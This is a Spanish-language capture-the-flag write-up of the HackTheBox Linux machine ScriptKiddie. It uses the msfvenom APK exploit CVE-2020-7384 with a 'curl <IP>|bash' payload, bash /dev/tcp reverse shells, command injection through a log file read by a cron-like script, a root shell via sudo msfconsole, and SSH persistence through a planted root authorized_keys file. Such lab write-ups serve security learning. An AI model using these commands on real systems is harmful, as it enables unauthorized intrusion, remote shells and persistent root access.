HackTheBox - ScriptKiddie
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: msfvenom Command Injection (CVE-2020-7384), Command Injection, Binary Abusing
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos
c. Visitamos el sitio web
La máquina fue liberada el 2021, por lo que buscaremos algún exploit de nmap o msfvenom en ese año.
d. Encontramos el CVE-2020-7384, modificamos el script para inyectar el comando curl <tun0 IP>|bash
1
2
3
4
5
6
# Change me
payload = 'curl <tun0IP>|bash'
-------------------------------
❯ python msfvenom_rce.py
[+] Done! apkfile is at /tmp/tmpaez5ybvj/evil.apk
Antes de subir el apk a la página web, creamos un fichero ‘index.html’, lo servimos con python y nos ponemos en escucha con nc
1 2 3 4 5 6 7
❯ cat index.html #!/bin/bash bash -i >& /dev/tcp/10.10.14.18/443 0>&1 ----------------------------------------- ❯ python -m http.server 80 ❯ nc -lvnp 443
Ahora, subimos el evil.apk y recibiremos un reverse shell
1 2
❯ nc -lvnp 443 kid@scriptkiddie:~/html$
Escalada de Privilegios 💹
a. Para maniobrar de manera más cómoda, nos autenticamos por el servicio SSH
Primero, creamos un par de claves id_rsa en nuestra máquina
1
❯ ssh-keygen
Copiamos la clave id_rsa pública y lo colocamos en el fichero ‘authorized_keys’ en el directorio .ssh del usuario kid
1
kid@scriptkiddie:~/.ssh$ echo -n '<id_rsa pública>' > authorized_keys
Ya nos podemos conectar por el servicio ssh
1 2
❯ ssh kid@<IP ScriptKiddie> -i id_rsa kid@scriptkiddie:~$
b. Al investigar en el sistema, vemos que existe otro usuario y del cual podemos leer script ‘scanlosers.sh’
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
kid@scriptkiddie:/home$ ls
kid pwn
kid@scriptkiddie:/home$ ls pwn
recon scanlosers.sh
kid@scriptkiddie:/home/pwn$ cat scanlosers.sh
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Podemos inyectar comandos ya que la variable
ip
se obtiene de forma insegura. Además esta tarea no se ejecuta cada cierto tiempo, lo que nos lleva a pensar, que se ejecuta cada que modificamos el fichero ‘/home/kid/logs/hackers’
cut -d' ' -f3-
: Lo que hace es leer del tercer argumento en adelante
c. Nos enviamos una reverse shell
1
2
3
4
5
6
7
8
9
10
11
kid@scriptkiddie:/home/pwn$ echo '1 2 ;bash -c "bash -i >& /dev/tcp/<tun0 IP>/443 0>&1";' > /home/kid/logs/hackers
---------------------------------------------------------------------------------------------------------------------
❯ nc -lvnp 443
pwn@scriptkiddie:~$ script /dev/null -c bash
[Ctrl + Z]
❯ stty raw -echo;fg
reset xterm
pwn@scriptkiddie:~$ export TERM=xterm-256color
pwn@scriptkiddie:~$ source /etc/skel/.bashrc
d. Listamos nuestros permisos a nivel de sudoers
1
2
pwn@scriptkiddie:~$ sudo -l
(root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
Nos lanzamos un bash como root, seguimos los pasos que nos indican en Gtfobins
1 2 3 4 5 6 7 8
pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole msf6 > irb [*] Starting IRB shell... [*] You are in the "framework" object irb: warn: can't alias jobs from irb_jobs. >> system("bash") root@scriptkiddie:/home/pwn#
e. Por último, para entablar ‘persistencia’ lo que haremos es permitir al usuario root autenticarse por ssh
Habilitamos al usuario root
1 2 3 4 5 6
root@scriptkiddie:~/.ssh# cat /etc/ssh/sshd_config # Cambiamos esta línea #PermitRootLogin prohibit-password # Por esto PermitRootLogin yes
Copiamos nuestra clave id_rsa pública en el fichero ‘authorized_keys’ del usuario root
1 2 3
root@scriptkiddie:~# mkdir .ssh root@scriptkiddie:~# cd .ssh/ root@scriptkiddie:~/.ssh# echo -n '<id_rsa pública>' > authorized_keys
Ahora ya podemos acceder al usuario root directamente desde el servicio SSH
1 2
❯ ssh root@<IP ScriptKiddie> -i id_rsa root@scriptkiddie:~#